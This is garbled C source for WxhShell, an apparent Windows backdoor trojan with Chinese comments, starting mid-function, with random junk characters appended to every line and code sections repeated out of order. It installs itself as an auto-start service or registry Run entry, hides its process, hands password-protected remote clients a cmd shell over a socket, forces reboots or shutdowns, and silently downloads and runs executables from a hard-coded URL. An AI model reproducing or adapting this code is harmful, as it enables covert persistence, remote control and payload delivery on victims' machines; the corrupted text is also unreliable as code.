    } ">='l9  
    break; G gmv(!  
    } 1} 1.5[4d  
  // 关机 E,5XX;|  
  case 'd': { !{'C.sb?~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G'b*.\=  
    if(Boot(SHUTDOWN)) 6Y4sv5G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,PH;j_  
    else { x6Q,$B  
    closesocket(wsh); YlfzHeN1  
    ExitThread(0); .U.Knn  
    } C3EQz r`  
    break; eXo7_#  
    } e UMOV]h  
  // 获取shell w1q-bIU  
  case 's': { lYz{# UX}  
    CmdShell(wsh); u#9H  
    closesocket(wsh); W"j&':xD  
    ExitThread(0); (+SfDL$m  
    break;  )l 0\TF  
  } 1/b5i8I2 v  
  // 退出 MTm}qx@L  
  case 'x': { ZDHm@,d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mr/;$O{  
    CloseIt(wsh); ?` ?HqR0  
    break; p0c*)_a*  
    } S\$=b_.  
  // 离开 ft |W  
  case 'q': { ?K5S{qG'O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &y\7pAT\  
    closesocket(wsh); l@edR)n <  
    WSACleanup(); ck0K^o v  
    exit(1); rQE:rVKVh  
    break; bF_SD\/  
        } K+HP2|#6  
  } _JEe]  
  } Whd.AaD\  
ks3ydHe`  
  // 提示信息 b!lS=zIN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4i]h0_]  
} *;E\,,Io  
  } ,> %=,x  
wk+| }s  
  return; eMHBY6<~=  
} :'6vIPN5  
t%S2D  
// shell模块句柄 TzSEQ S{  
int CmdShell(SOCKET sock) q8m[ S4Q]g  
{ W!Qaa(o?  
STARTUPINFO si; 5rX_85]  
ZeroMemory(&si,sizeof(si)); 8'<RPU}M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kleE\ 8_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rq(9w*MW:  
PROCESS_INFORMATION ProcessInfo; >;^t)6  
char cmdline[]="cmd"; Y|X!da/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _keI0ML-#  
  return 0; .]XBJc  
} xI>HY9i )  
(fqU73  
// 自身启动模式 TxA%{0  
int StartFromService(void) ;{j@ia  
{ RKb{QAK!v  
typedef struct ]broU%#"  
{ z*ly`-!  
  DWORD ExitStatus; Y@l>4q")  
  DWORD PebBaseAddress; `ElJL{Rn  
  DWORD AffinityMask; +~n"@ /  
  DWORD BasePriority; /ka "YU  
  ULONG UniqueProcessId; r?%,#1|$$  
  ULONG InheritedFromUniqueProcessId; rds 4eUxe  
}   PROCESS_BASIC_INFORMATION; ]^>RBegJBO  
\Dx5=Lh  
PROCNTQSIP NtQueryInformationProcess; GeFu_7u!|  
U-.A+#<IT9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?910ki_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zq Cr'$  
P0c6?K6 j  
  HANDLE             hProcess; ?{]"UnyVE*  
  PROCESS_BASIC_INFORMATION pbi; Yc`PK =!l  
$aC%&&+wG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {36QZV*P  
  if(NULL == hInst ) return 0; pY$DOr- r`  
2J&J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9i`MUE1Sh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nd)`G$gL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jBr3Ay@<  
JWsOze 8#  
  if (!NtQueryInformationProcess) return 0; dUc?>#TU  
3kJ7aBiR<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X,`^z,M%I  
  if(!hProcess) return 0; mV;)V8'  
GhC%32F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;s^F:O  
^!7|B3`  
  CloseHandle(hProcess); uB;PaZ G?{  
wDt9Lf O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g0M/Sv  
if(hProcess==NULL) return 0; g0 k{b  
_edT+r>+  
HMODULE hMod; Q`HG_n@?  
char procName[255]; 4c,{Js  
unsigned long cbNeeded; NOQSLT=  
2PViY,V|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yP"D~u  
./_4D}  
  CloseHandle(hProcess); ;~"#aL50fe  
jc7NYoT:  
if(strstr(procName,"services")) return 1; // 以服务启动 |IZFWZd  
F3=iyiz6  
  return 0; // 注册表启动 }kF*I@:g  
} mNQ*YCq.  
5;[h&jH  
// 主模块 ?{(Jy*  
int StartWxhshell(LPSTR lpCmdLine) 5 8n(fdE  
{ !glGW[r/7  
  SOCKET wsl; "vF7b|I  
BOOL val=TRUE; yIf>8ed]#  
  int port=0; Ey]P >J  
  struct sockaddr_in door; "%dok@v  
9$=o({  
  if(wscfg.ws_autoins) Install(); -!-1X7v|Fp  
8C4v  
port=atoi(lpCmdLine); [ J6q(} f  
4*?JU v  
if(port<=0) port=wscfg.ws_port; 9t"/@CH{  
NaC}KI`  
  WSADATA data; %-O[%Dy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; psM&r  
JU!vVA_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r!)jxIL\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V~4yS4  
  door.sin_family = AF_INET; *GC9o/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lQt* LWd[  
  door.sin_port = htons(port); (R^Ca7F  
A08{]E#v>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L=)Arj@q  
closesocket(wsl); X0BBJ(e  
return 1; Vbp`Rm1?  
} [' cq  
(k<__W c_t  
  if(listen(wsl,2) == INVALID_SOCKET) { (T8dh|  
closesocket(wsl); dL|*#e  
return 1; f1RX`rXf  
} T UO*w  
  Wxhshell(wsl); ]oE:p  
  WSACleanup(); B+n(K+  
:=2l1Y[-G  
return 0; .*c%A^>  
S)z5=N(Xz  
} }Oe9Zq  
!~a1xI~s  
// 以NT服务方式启动 {f[X)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O;SD90  
{ iNEE2BPp  
DWORD   status = 0; @WO>F G3  
  DWORD   specificError = 0xfffffff; {PQ!o^7y  
xYD.j~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vj+ S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qh!h "]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (7?jjH^4  
  serviceStatus.dwWin32ExitCode     = 0; I>%@[h,+  
  serviceStatus.dwServiceSpecificExitCode = 0; { GKqOu  
  serviceStatus.dwCheckPoint       = 0; ]?n~?dD{]  
  serviceStatus.dwWaitHint       = 0; j[&C6l+wH  
yUlYf#`H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {+x;J4  
  if (hServiceStatusHandle==0) return; p WLFJH}N  
Ukg iSv+  
status = GetLastError(); '`/w%OEVC5  
  if (status!=NO_ERROR) U Y')|2y 5  
{ 6dQ]=];  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .+2@(r  
    serviceStatus.dwCheckPoint       = 0; cP &XkAQ  
    serviceStatus.dwWaitHint       = 0; { , zg  
    serviceStatus.dwWin32ExitCode     = status; ;&U! g&  
    serviceStatus.dwServiceSpecificExitCode = specificError; VQ'DNv| 9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h$I 2T  
    return; 707-iLkt.1  
  } |c3Yh,Sv  
jLgx(bMn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e2*Fe9:  
  serviceStatus.dwCheckPoint       = 0; Bw8&Amxx:  
  serviceStatus.dwWaitHint       = 0; 7?EC kuSv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YRs32vVz  
} _5SA(0D#9  
"%fvA;  
// 处理NT服务事件,比如:启动、停止 D$PR<>=y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8VLD yX2-  
{ .80L>0  
switch(fdwControl) 7) e#b  
{ drEND`,@6|  
case SERVICE_CONTROL_STOP: Yn1CU  
  serviceStatus.dwWin32ExitCode = 0; Fc.1)yh.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :}}~ $$&  
  serviceStatus.dwCheckPoint   = 0; ~@N0$S  
  serviceStatus.dwWaitHint     = 0; Rln JlY/  
  { ?j-;;NNf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E-XFW]I  
  } Ialbz\;F2%  
  return; )R]gJ_ ,c  
case SERVICE_CONTROL_PAUSE: m9m]q&hx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [m{uJ dj\  
  break; kKil] L  
case SERVICE_CONTROL_CONTINUE: " H; i Av  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +Rb0:r>kU  
  break; n> O3p ~  
case SERVICE_CONTROL_INTERROGATE: t}2$no?  
  break; 7(< z=F  
}; 84UI)nE:Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?~s23%E  
} *d;D~"E<@  
}~3 %KHT  
// 标准应用程序主函数 {rWFgn4Li  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L2m~ GnP|?  
{ a<ztA:xt|1  
( R0>0f@  
// 获取操作系统版本 3^J~ts{*  
OsIsNt=GetOsVer(); E#A}J:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ! fSM6Vo  
 LAfv1  
  // 从命令行安装 c DO<z  
  if(strpbrk(lpCmdLine,"iI")) Install(); !JE=QG"  
UJ8V%0  
  // 下载执行文件 #}U*gVYe  
if(wscfg.ws_downexe) { 6fr@y=s2:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WG?;Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9Di@r!Db  
} 5\|u] ~b  
aO]FQ#l2b  
if(!OsIsNt) { }xE}I<M  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;mYj`/Yj  
HideProc();  }FoO  
StartWxhshell(lpCmdLine); 7TW</g(  
} eaGd:(  
else /"*eMe!=  
  if(StartFromService()) 3vK,vu q  
  // 以服务方式启动 aE'nW@YL.  
  StartServiceCtrlDispatcher(DispatchTable); 1__Mf.A  
else rBY{&JhS  
  // 普通方式启动 Y']D_\y  
  StartWxhshell(lpCmdLine); 1 6N+  
%W [#60  
return 0; &lp5W)D  
} 0~0OQ/>7  
Q1yj+)_  
Zg#VZg1 2  
OKH4n/pq  
=========================================== ILQB%0!  
V<+= t{  
 #mDeA>b  
`43X? yQ  
@h&crI[c  
9gLUM$Kd  
" e<;^P(g`E  
Mx<? c  
#include <stdio.h> rL=_z^.P  
#include <string.h> 6mH --!j  
#include <windows.h> 4tb y N  
#include <winsock2.h> ^XIVWf#`H  
#include <winsvc.h> |dxcEjcY_  
#include <urlmon.h> ."#M X!  
O0Vtvbj  
#pragma comment (lib, "Ws2_32.lib") RTgR>qI&)  
#pragma comment (lib, "urlmon.lib") %di]1vQ  
[ 4_JK  
#define MAX_USER   100 // 最大客户端连接数 JGB 9Z   
#define BUF_SOCK   200 // sock buffer |QI FtdU5T  
#define KEY_BUFF   255 // 输入 buffer +?!x;qS^  
fuQb h  
#define REBOOT     0   // 重启 N4wv'OrL]  
#define SHUTDOWN   1   // 关机 O&Ws*k  
covr0N)  
#define DEF_PORT   5000 // 监听端口 *nPB+@f  
fW,,@2P  
#define REG_LEN     16   // 注册表键长度 I,:R~^qJ8v  
#define SVC_LEN     80   // NT服务名长度 9EE},D  
2'38(wXn#  
// 从dll定义API Q^iE,_Zq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); },d`<^~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;0R>Dg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sU/R$Nbr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pnvHh0ck_  
y$]gmg  
// wxhshell配置信息 F>0[v|LG  
struct WSCFG { WP@IV;i  
  int ws_port;         // 监听端口 :a 5#yh  
  char ws_passstr[REG_LEN]; // 口令 f~RS[h`:  
  int ws_autoins;       // 安装标记, 1=yes 0=no mv,<#<-W  
  char ws_regname[REG_LEN]; // 注册表键名 7q'_]$  
  char ws_svcname[REG_LEN]; // 服务名 %4%$NdU"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z]1=nSv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zj*kHjn"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ls<.&3X2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;}tEU'&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" me#?1r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }|k_sx:  
.)7r /1o  
}; nj (/It  
j=%^CRum  
// default Wxhshell configuration nZfU:N  
struct WSCFG wscfg={DEF_PORT, ",b3C.  
    "xuhuanlingzhe", ?HP54G<{xz  
    1, 8fn7!  
    "Wxhshell", A?DgeSm  
    "Wxhshell", ;>eD`Wh  
            "WxhShell Service", Q Eh_2  
    "Wrsky Windows CmdShell Service", S G&VZY  
    "Please Input Your Password: ", {M7`z,,[  
  1, Lv`*+;1 K  
  "http://www.wrsky.com/wxhshell.exe", $#cZJ@;]  
  "Wxhshell.exe" 4>uy+"8PO  
    }; BVKr 2v  
wIrjWU2  
// 消息定义模块 |M*jo<C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o)X(;o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X>[x7t:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GTj=R$%09  
char *msg_ws_ext="\n\rExit."; 6I$laHx?  
char *msg_ws_end="\n\rQuit."; "Ih>>|r  
char *msg_ws_boot="\n\rReboot..."; NF}QQwG3  
char *msg_ws_poff="\n\rShutdown..."; j.3#rxq  
char *msg_ws_down="\n\rSave to "; *H"IW0I  
ArFsr  
char *msg_ws_err="\n\rErr!"; F-\Swbx+  
char *msg_ws_ok="\n\rOK!"; KjrUTG0oA  
x>>#<hOz[  
char ExeFile[MAX_PATH]; 0 !D,74r  
int nUser = 0; c)d*[OI8  
HANDLE handles[MAX_USER]; pjC2jlwm*  
int OsIsNt; 02Ftn&bi  
iqzl(9o.D  
SERVICE_STATUS       serviceStatus; Qy)+YhE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w/8`]q  
4"OUmh9LHB  
// 函数声明 |x2 +O  
int Install(void); AL%gqt]  
int Uninstall(void); }(g`l)OX  
int DownloadFile(char *sURL, SOCKET wsh); `EV" /&`  
int Boot(int flag); t/;@~jfr@  
void HideProc(void); [DW}z  
int GetOsVer(void); qf/1a CQiP  
int Wxhshell(SOCKET wsl); Wq bfZx  
void TalkWithClient(void *cs); 63s<U/N  
int CmdShell(SOCKET sock); | HkLl^  
int StartFromService(void); ?'xTSAn  
int StartWxhshell(LPSTR lpCmdLine); 5ryzAB O\2  
3Y\7+975m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j3Ng] @N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _eB?G  
MA:2]l3e  
// 数据结构和表定义 /UJ@e  
SERVICE_TABLE_ENTRY DispatchTable[] = kmJ {(y)w  
{ nI1DLVt  
{wscfg.ws_svcname, NTServiceMain}, 4T*RJ3Fz!  
{NULL, NULL} S(7_\8 h  
}; M7Pvc%\)  
$rB20!  
// 自我安装 jzuOs,:R  
int Install(void) 9Fe(],AzF  
{ _n.2'  
  char svExeFile[MAX_PATH]; 5zebH  
  HKEY key; =F!DwaZ  
  strcpy(svExeFile,ExeFile); dg%Orvuz  
oB9t&yM  
// 如果是win9x系统,修改注册表设为自启动 d^"dL" Q6m  
if(!OsIsNt) { #!Iez vWf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o<`)cb }  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jL$&]sQ`O)  
  RegCloseKey(key); tK<GU.+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % -~W|Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q!iMc  
  RegCloseKey(key); O<3i6   
  return 0; $#4J^(I*:  
    } j1!P:(  
  } 7wt2|$Qz  
} !6eXJ#~[E  
else { njk.$]M|nf  
ILt95l  
// 如果是NT以上系统,安装为系统服务 &9CKI/K:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >wK ^W{  
if (schSCManager!=0) {~*aXu 3  
{ :kycIM]s  
  SC_HANDLE schService = CreateService P)fv:a  
  ( o0-7#2  
  schSCManager, O_*(:Z  
  wscfg.ws_svcname, _VU/j9<+  
  wscfg.ws_svcdisp, Lc>9[! +#  
  SERVICE_ALL_ACCESS, CPq{M.B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1y5]+GU'`  
  SERVICE_AUTO_START, Sd;/yC8  
  SERVICE_ERROR_NORMAL, Jtj_R l !  
  svExeFile, |H67ny&K^&  
  NULL, |irqv< r  
  NULL, wj>mk  
  NULL, } d / 5_X  
  NULL, |]a =He;  
  NULL fI%+  
  ); pv2_A   
  if (schService!=0) jB]tq2i  
  { ?3!"js B  
  CloseServiceHandle(schService); nG;wQvc  
  CloseServiceHandle(schSCManager); .I{b]6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zdCeOZ 6  
  strcat(svExeFile,wscfg.ws_svcname); 4[z a|t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DSY:aD!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &sL(|>N  
  RegCloseKey(key); v*%#Fp,g8  
  return 0; lkf(t&vL2  
    } SCk2D!u  
  } -UaUFJa8K&  
  CloseServiceHandle(schSCManager); D'aq^T'  
} >:M3!6H_~{  
} ^Ye i9bXl  
;aBK4<-vl  
return 1; &?^S`V8R*  
} gnmKh>0@6o  
q10gKVJum  
// 自我卸载 >{i/LC^S  
int Uninstall(void) Zam.g>{]  
{ ud K)F$7  
  HKEY key; I0 a,mO;m  
D3V5GQ\=  
if(!OsIsNt) { e&f9/rfx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *6~ODiB  
  RegDeleteValue(key,wscfg.ws_regname); @'U9*:}U  
  RegCloseKey(key); 2g1[ E_?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jC1mui|Y^  
  RegDeleteValue(key,wscfg.ws_regname); M}NmA  
  RegCloseKey(key); Pg" uisT#>  
  return 0; v4!zB9d  
  } t3K7W2bz  
} T9]|*~ ,T  
} 7''l\3mIn  
else { Ddde, WJA  
?P[uf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); an^"_#8DA@  
if (schSCManager!=0) T1hr5V<U  
{ Q=J"#EFs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); + 8 5]]}I  
  if (schService!=0) \|nF55W [  
  { A_1cM#4  
  if(DeleteService(schService)!=0) { FR9qW$B  
  CloseServiceHandle(schService); g1VdP[Y#  
  CloseServiceHandle(schSCManager); cc7*O  
  return 0; #k8bZ?*:  
  } :#58m0YLA:  
  CloseServiceHandle(schService); 8 $0D-z  
  } $j:$ `  
  CloseServiceHandle(schSCManager); aYr?J Ol  
} h`dtcJ0  
} ~C=I{qzF+  
q}>1Rr|U`  
return 1; .GUm3b  
} m\`dLrPX4j  
IY6DZP  
// 从指定url下载文件 SA&0f&07i  
int DownloadFile(char *sURL, SOCKET wsh) K[0.4+  
{ D"0:n.  
  HRESULT hr; /%9D$\  
char seps[]= "/"; lY/{X]T.(  
char *token; ){`s&?M0  
char *file; tAFKq>\  
char myURL[MAX_PATH]; ,dn9tY3  
char myFILE[MAX_PATH]; $2qZds[  
3ny>5A!;2  
strcpy(myURL,sURL); CY#|VE M  
  token=strtok(myURL,seps); JP`$A  
  while(token!=NULL) [2?|BUtD[  
  { C,7d  
    file=token; yQE|FbiA  
  token=strtok(NULL,seps); B.CUk.  
  } L;zwqdI  
`s5<PCq  
GetCurrentDirectory(MAX_PATH,myFILE); D+ mZ7&L  
strcat(myFILE, "\\"); Qb<i,`SN  
strcat(myFILE, file); ,?k[<C  
  send(wsh,myFILE,strlen(myFILE),0); %jz]s4u$5j  
send(wsh,"...",3,0); P8!ON=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *I6z;.#  
  if(hr==S_OK) 1Q\P] -  
return 0; {T4F0fu[eR  
else hw! l{yv  
return 1; !z">aIj\6  
.GcIwP'aU-  
} YoyJnl.?u  
m;-FP 2~  
// 系统电源模块 h}-}!v  
int Boot(int flag) 873$EiyXR  
{ #HFB* >  
  HANDLE hToken; fB^h2  
  TOKEN_PRIVILEGES tkp; ]D?//  
f%vJmpg  
  if(OsIsNt) { !v/5 G_pr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F. 5'5%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?>c*[>LpZ  
    tkp.PrivilegeCount = 1; S3#NGBZ/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B1<:nl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TNe,'S,%  
if(flag==REBOOT) { MMlryn||1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kQ~2mU  
  return 0; Gl8D GELl;  
} 4 =/5  
else { Qn= 3b:S-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e_'/4 n  
  return 0; ]0v;;PfVl6  
} ^b|Z<oF  
  } 58xaVOhb  
  else { ;fomc<  
if(flag==REBOOT) { PWeCk2xH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sF9{(Us  
  return 0; +&hhj~I.  
} <0lXJqd  
else { ?LJ$:u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1Q_  C  
  return 0; k=;>*:D%  
} W P7RX|7  
} wEju`0#;  
TljN!nv]  
return 1; 7$3R}=Z`\q  
} m$N` Xj  
wq yw#)S  
// win9x进程隐藏模块 @ig'CF%(  
void HideProc(void) x_za R}WI  
{ 6cR}Mm9Hx3  
be&5vl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,RmXZnWY  
  if ( hKernel != NULL ) Pdgn9  
  { 3a9%djGq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5)712b(&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rP4v_?Zg+  
    FreeLibrary(hKernel); 6P,vGmR  
  } j,<3[  
Xjb 4dip  
return; 8yW8F26  
} Y~I$goT  
(!b_o A8V  
// 获取操作系统版本 ed3d 6/%HR  
int GetOsVer(void) ~ZrSoVP=  
{ LV4\zd6  
  OSVERSIONINFO winfo; k+-IuO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .II*wK k  
  GetVersionEx(&winfo); { 'A`ram  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $db]b  
  return 1; EY~b,MIL4  
  else 4%!#=JCl  
  return 0; (<M^C>pldf  
} j^4KczJl  
zk6al$3R  
// 客户端句柄模块 j@chSk"K  
int Wxhshell(SOCKET wsl) jbQ N<`!  
{ :TU|;(p  
  SOCKET wsh; #+VH]7]  
  struct sockaddr_in client; yf|,/{S  
  DWORD myID; !Cqm=q{K  
> L5fc".  
  while(nUser<MAX_USER) \VY!= 9EV  
{ n oWjZ  
  int nSize=sizeof(client); }E o\=>l7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PK&3nXF%4  
  if(wsh==INVALID_SOCKET) return 1; C\-Abq c  
3C:!\R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Th!.=S{Y5  
if(handles[nUser]==0) 4)]w"z0Pc  
  closesocket(wsh); mT]+wi&  
else 8]SJ=c"}Xf  
  nUser++; $? 'JePC  
  } ^pI&f{q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ywQ>T+  
iJ8 5okv'  
  return 0; 8PN/*Sa  
} 0P MF)';R  
"zN2+X"&  
// 关闭 socket :S['hBMN  
void CloseIt(SOCKET wsh) )7X+T'?%  
{ V)pn)no'V  
closesocket(wsh); #sHA!@ |  
nUser--; N+)gYb6h  
ExitThread(0); Sn o7Ru2  
} ?nVwT[  
Vki'pAN  
// 客户端请求句柄 ]m fI$p%  
void TalkWithClient(void *cs) )^Ha?;TS  
{ KOQiX?'  
#F>7@N:5  
  SOCKET wsh=(SOCKET)cs; {z^6V\O5  
  char pwd[SVC_LEN]; WA'&0i4  
  char cmd[KEY_BUFF]; A$6T)  
char chr[1]; X jJV  
int i,j; tYe+7s  
\IL;}D{  
  while (nUser < MAX_USER) { 8Ce|Q8<8]  
y15 MWZ  
if(wscfg.ws_passstr) { [>P9_zID  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $A4rdhvd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jb~W(8cj  
  //ZeroMemory(pwd,KEY_BUFF); |iGfX,C|  
      i=0; Ou26QoT9XI  
  while(i<SVC_LEN) { Gky e  
EnM }H9A  
  // 设置超时  9S<87sO  
  fd_set FdRead; FJ/>=2^B  
  struct timeval TimeOut; b 8vyJb,K  
  FD_ZERO(&FdRead); mYU7b8x_  
  FD_SET(wsh,&FdRead); v?BVUH>#9  
  TimeOut.tv_sec=8; J 8!D."'Q0  
  TimeOut.tv_usec=0; zRO-oOJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \(4"kY_=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dw%V.J/&o  
9/8#e+L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +*I'!)T^B  
  pwd=chr[0]; uTWij4)a  
  if(chr[0]==0xd || chr[0]==0xa) { y v$@i A  
  pwd=0; |8QXjzH  
  break; 2H,^i,  
  } AZj `o  
  i++; |b BA0.yS  
    } 4qd =]i  
)td?t.4  
  // 如果是非法用户,关闭 socket # NoY}*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AX`>y@I  
} Y)Os]<N1  
}NH\Q$IU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fXL&?~fS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QU#u5sX A  
iY|zv|;]=  
while(1) { {r.KY  
%^`b)   
  ZeroMemory(cmd,KEY_BUFF); *A^j>lV  
S= NGJ 0  
      // 自动支持客户端 telnet标准   31y>/*}  
  j=0; RJYB=y8l  
  while(j<KEY_BUFF) { P"Scs$NOU?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bNH72gX2Yh  
  cmd[j]=chr[0]; g9T9TQ-O  
  if(chr[0]==0xa || chr[0]==0xd) { C >@T+xOZ  
  cmd[j]=0; eX{:&Do  
  break; B4&K2;fg_  
  } xr;:gz!h  
  j++; ""Ub^:ucD  
    } _mEW]9Sp  
6~oo.6bA  
  // 下载文件 W[$GB_A)  
  if(strstr(cmd,"http://")) { 6\+ ZTw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jD<fu  
  if(DownloadFile(cmd,wsh)) I[x+7Y0k9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (plsL   
  else p aQ"[w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b}f#[* Z  
